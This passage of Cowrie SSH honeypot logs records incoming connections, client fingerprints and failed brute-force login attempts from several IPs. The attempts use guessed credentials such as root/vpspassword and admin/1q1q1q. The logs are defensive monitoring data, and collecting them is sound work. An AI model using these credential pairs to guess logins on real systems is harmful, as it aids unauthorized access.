{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:53.165099Z","src_ip":"120.48.135.189","session":"b0e29a5dc8ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"q","message":"login attempt [test/q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:53.476197Z","src_ip":"185.9.193.111","session":"3ce3e3983cf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd1234!","message":"login attempt [ubuntu/abcd1234!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:54.068033Z","src_ip":"120.48.135.189","session":"b0e29a5dc8ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:54:54.707489Z","src_ip":"185.9.193.111","session":"3ce3e3983cf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.212.47.18","src_port":48858,"dst_ip":"10.17.0.5","dst_port":22,"session":"a935a04ac8a0","protocol":"ssh","message":"New connection: 187.212.47.18:48858 (10.17.0.5:22) [session: a935a04ac8a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:19.622079Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:19.627168Z","src_ip":"187.212.47.18","session":"a935a04ac8a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:19.858592Z","src_ip":"187.212.47.18","session":"a935a04ac8a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"admin@123","message":"login attempt [user/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:20.197780Z","src_ip":"187.212.47.18","session":"a935a04ac8a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:21.278020Z","src_ip":"187.212.47.18","session":"a935a04ac8a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":48468,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1540ded97a9","protocol":"ssh","message":"New connection: 36.93.249.106:48468 (159.203.135.109:22) [session: d1540ded97a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:26.395925Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:26.400911Z","src_ip":"36.93.249.106","session":"d1540ded97a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:26.671789Z","src_ip":"36.93.249.106","session":"d1540ded97a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"123qwe","message":"login attempt [ftptest/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:27.769013Z","src_ip":"36.93.249.106","session":"d1540ded97a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:29.038297Z","src_ip":"36.93.249.106","session":"d1540ded97a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":44756,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd742565a315","protocol":"ssh","message":"New connection: 211.186.79.173:44756 (10.17.0.5:22) [session: bd742565a315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:39.338485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:39.342545Z","src_ip":"211.186.79.173","session":"bd742565a315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:39.535573Z","src_ip":"211.186.79.173","session":"bd742565a315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123456789","message":"login attempt [root/test123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:40.310688Z","src_ip":"211.186.79.173","session":"bd742565a315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:55:41.503303Z","src_ip":"211.186.79.173","session":"bd742565a315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":59752,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1491db2e07a","protocol":"ssh","message":"New connection: 36.93.249.106:59752 (159.203.135.109:22) [session: b1491db2e07a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:21.765033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:21.769755Z","src_ip":"36.93.249.106","session":"b1491db2e07a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:22.046824Z","src_ip":"36.93.249.106","session":"b1491db2e07a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vpspassword","message":"login attempt [root/vpspassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:23.159667Z","src_ip":"36.93.249.106","session":"b1491db2e07a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":27804,"dst_ip":"159.203.135.109","dst_port":22,"session":"eebf6bf66e82","protocol":"ssh","message":"New connection: 185.9.193.111:27804 (159.203.135.109:22) [session: eebf6bf66e82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:24.243215Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:24.433679Z","src_ip":"36.93.249.106","session":"b1491db2e07a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:29.258956Z","src_ip":"185.9.193.111","session":"eebf6bf66e82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:29.262245Z","src_ip":"185.9.193.111","session":"eebf6bf66e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:29.298986Z","src_ip":"185.9.193.111","session":"eebf6bf66e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:52.935787Z","src_ip":"120.48.135.189","session":"b0e29a5dc8ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":44432,"dst_ip":"10.17.0.5","dst_port":22,"session":"00c15503f152","protocol":"ssh","message":"New connection: 211.186.79.173:44432 (10.17.0.5:22) [session: 00c15503f152]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:57.323856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:57.330147Z","src_ip":"211.186.79.173","session":"00c15503f152","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:57.515720Z","src_ip":"211.186.79.173","session":"00c15503f152","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123qwe","message":"login attempt [test/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:58.272265Z","src_ip":"211.186.79.173","session":"00c15503f152","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:56:59.458130Z","src_ip":"211.186.79.173","session":"00c15503f152","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.93.249.106","src_port":53268,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb59f0896173","protocol":"ssh","message":"New connection: 36.93.249.106:53268 (159.203.135.109:22) [session: cb59f0896173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:16.793324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:16.798205Z","src_ip":"36.93.249.106","session":"cb59f0896173","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:17.075016Z","src_ip":"36.93.249.106","session":"cb59f0896173","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1q1q1q","message":"login attempt [admin/1q1q1q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:18.209921Z","src_ip":"36.93.249.106","session":"cb59f0896173","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:19.491575Z","src_ip":"36.93.249.106","session":"cb59f0896173","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":54302,"dst_ip":"10.17.0.5","dst_port":22,"session":"28f17bd2b660","protocol":"ssh","message":"New connection: 2.57.121.25:54302 (10.17.0.5:22) [session: 28f17bd2b660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:58.687307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:57:58.692506Z","src_ip":"2.57.121.25","session":"28f17bd2b660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","h